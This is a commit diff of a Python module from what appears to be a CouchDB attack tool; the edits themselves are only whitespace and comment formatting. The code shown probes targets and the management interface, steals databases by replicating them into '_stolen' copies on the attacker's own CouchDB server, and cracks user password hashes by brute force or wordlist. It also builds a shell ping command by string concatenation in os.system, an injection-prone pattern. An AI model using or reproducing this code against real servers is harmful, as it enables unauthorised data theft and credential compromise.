14
14
from hashlib import sha1
15
15
import os
16
16
17
+
17
18
global dbList
18
19
global yes_tag
19
20
global no_tag
20
21
yes_tag = ['y' , 'Y' ]
21
22
no_tag = ['n' , 'N' ]
22
23
24
+
23
25
def couchScan (target ,port ,pingIt ):
24
26
if pingIt == True :
25
27
test = os .system ("ping -c 1 -n -W 1 " + ip + ">/dev/null" )
@@ -68,7 +70,7 @@ def netAttacks(target,port, myIP):
68
70
mgtOpen = False
69
71
webOpen = False
70
72
mgtSelect = True
71
- #This is a global for future use with other modules; may change
73
+ # This is a global for future use with other modules; may change
72
74
dbList = []
73
75
print "Checking to see if credentials are needed..."
74
76
needCreds = couchScan (target ,port ,False )
@@ -104,7 +106,7 @@ def netAttacks(target,port, myIP):
104
106
105
107
106
108
mgtUrl = "http://" + target + ":" + str (port ) + "/_utils"
107
- #Future rev: Add web management interface parsing
109
+ # Future rev: Add web management interface parsing
108
110
try :
109
111
mgtRespCode = urllib .urlopen (mgtUrl ).getcode ()
110
112
if mgtRespCode == 200 :
@@ -142,11 +144,13 @@ def netAttacks(target,port, myIP):
142
144
if attack == "5" :
143
145
return
144
146
147
+
145
148
def getPlatInfo (couchConn , target ):
146
149
print "Server Info:"
147
150
print "CouchDB Version: " + couchConn .version ()
148
151
return
149
152
153
+
150
154
def enumAtt (conn ,target ):
151
155
dbList = []
152
156
print "Enumerating all attachments..."
@@ -208,6 +212,7 @@ def enumDbs (couchConn,target,port):
208
212
209
213
return
210
214
215
+
211
216
def stealDBs (myDB ,couchConn ,target ,port ):
212
217
dbLoot = True
213
218
menuItem = 1
@@ -234,7 +239,7 @@ def stealDBs (myDB,couchConn,target,port):
234
239
break
235
240
236
241
try :
237
- #Create the DB target first
242
+ # Create the DB target first
238
243
myServer = couchdb .Server ("http://" + myDB + ":5984" )
239
244
targetDB = myServer .create (dbList [int (dbLoot )- 1 ] + "_stolen" )
240
245
couchConn .replicate (dbList [int (dbLoot )- 1 ],"http://" + myDB + ":5984/" + dbList [int (dbLoot )- 1 ] + "_stolen" )
@@ -251,6 +256,7 @@ def stealDBs (myDB,couchConn,target,port):
251
256
raw_input ("Something went wrong. Are you sure your CouchDB is running and options are set? Press enter to return..." )
252
257
return
253
258
259
+
254
260
def passCrack (user , encPass , salt , dbVer ):
255
261
select = True
256
262
print "Select password cracking method: "
@@ -273,9 +279,11 @@ def passCrack (user, encPass, salt, dbVer):
273
279
return
274
280
return
275
281
282
+
276
283
def genBrute (chars , maxLen ):
277
284
return ('' .join (candidate ) for candidate in itertools .chain .from_iterable (itertools .product (chars , repeat = i ) for i in range (1 , maxLen + 1 )))
278
285
286
+
279
287
def brute_pass (hashVal ,salt ,dbVer ):
280
288
charSel = True
281
289
print "\n "
@@ -313,7 +321,7 @@ def brute_pass(hashVal,salt,dbVer):
313
321
print "\r Combinations tested: " + str (count ) + "\r "
314
322
count += 1
315
323
316
- #CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use.
324
+ # CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use.
317
325
if float (dbVer [0 :3 ]) < 1.3 :
318
326
gotIt = gen_pass_couch (attempt ,salt ,hashVal )
319
327
else :
@@ -322,6 +330,7 @@ def brute_pass(hashVal,salt,dbVer):
322
330
if gotIt == True :
323
331
break
324
332
333
+
325
334
def dict_pass (key ,salt ,dbVer ):
326
335
loadCheck = False
327
336
@@ -341,7 +350,7 @@ def dict_pass(key,salt,dbVer):
341
350
for passGuess in passList :
342
351
temp = passGuess .split ("\n " )[0 ]
343
352
344
- #CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use.
353
+ # CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use.
345
354
if float (dbVer [0 :3 ]) < 1.3 :
346
355
gotIt = gen_pass_couch (temp ,salt ,key )
347
356
else :
@@ -352,6 +361,7 @@ def dict_pass(key,salt,dbVer):
352
361
353
362
return
354
363
364
+
355
365
def gen_pass_couch (passw , salt , hashVal ):
356
366
if sha1 (passw + salt ).hexdigest () == hashVal :
357
367
print "Password Cracked - " + passw
@@ -360,6 +370,7 @@ def gen_pass_couch(passw, salt, hashVal):
360
370
else :
361
371
return False
362
372
373
+
363
374
def gen_pass_couch13 (passw , salt , iterations , hashVal ):
364
375
result = PBKDF2 (passw ,salt ,iterations ).read (20 )
365
376
expected = a2b_hex (hashVal )
0 commit comments